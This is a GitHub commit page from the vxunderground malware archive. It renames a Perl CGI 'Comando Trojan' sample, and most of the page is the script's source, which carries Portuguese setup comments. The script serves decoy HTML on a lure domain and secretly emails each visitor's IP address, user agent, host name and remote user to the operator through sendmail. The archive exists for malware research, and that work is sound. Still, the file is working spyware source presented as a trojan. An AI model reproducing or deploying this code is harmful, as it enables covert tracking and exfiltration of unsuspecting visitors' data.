Rename Trojan.Perl.InfoSpy to Trojan.Perl.Comando.a

This commit is contained in:
vxunderground 2020-11-14 01:35:28 -06:00 committed by GitHub
parent 14e04f8b8e
commit eba7f40953
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -6,7 +6,7 @@
#* |\_\\-\ /-//_/| *# #* |\_\\-\ /-//_/| *#
#* | \\-| |-// | *# #* | \\-| |-// | *#
#* \ /~\\_____//~\ / *# #* \ /~\\_____//~\ / *#
#* ` / \ ´ *# #* ` / \ ´ *#
#* | () () | Comando Trojan *# #* | () () | Comando Trojan *#
#* \ ^ / -=- *# #* \ ^ / -=- *#
#* ||||| www.comandotrojan.cjb.net *# #* ||||| www.comandotrojan.cjb.net *#
@ -28,15 +28,15 @@ print "Content-type: text/html\n\n";
$c = "contador.txt"; $c = "contador.txt";
#Nome do .txt log #Nome do .txt log
$mailprog = "/usr/sbin/sendmail -t"; $mailprog = "/usr/sbin/sendmail -t";
#Preste Atenção o real caminho do email no seu server #Preste Atenção o real caminho do email no seu server
$emailadm = "seu_email\@seu_site.com.br; $emailadm = "seu_email\@seu_site.com.br;
#Deixe o \ no email #Deixe o \ no email
$vitima = "lamer_entrou@se_fudeu.com"; $vitima = "lamer_entrou@se_fudeu.com";
#Deixe como estar #Deixe como estar
#Lembrar de fazer um domínio tipo www.entrem.cjb.net e por index.cgi #Lembrar de fazer um domínio tipo www.entrem.cjb.net e por index.cgi
print <<EOF; print <<EOF;
+++ Coloque aqui o html fictício para ser exibido +++ +++ Coloque aqui o html fictício para ser exibido +++
EOF EOF
open (N, "$c"); open (N, "$c");
@ -57,4 +57,4 @@ close (NE);
print MAIL "$ENV{'REMOTE_ADDR'} \n $ENV{'HTTP_USER_AGENT'} \n $ENV{'REMOTE_HOST'} \n $ENV{'REMOTE_USER'} $n\n\n "; print MAIL "$ENV{'REMOTE_ADDR'} \n $ENV{'HTTP_USER_AGENT'} \n $ENV{'REMOTE_HOST'} \n $ENV{'REMOTE_USER'} $n\n\n ";
close MAIL; close MAIL;
#FIM DO ARQUIVO #FIM DO ARQUIVO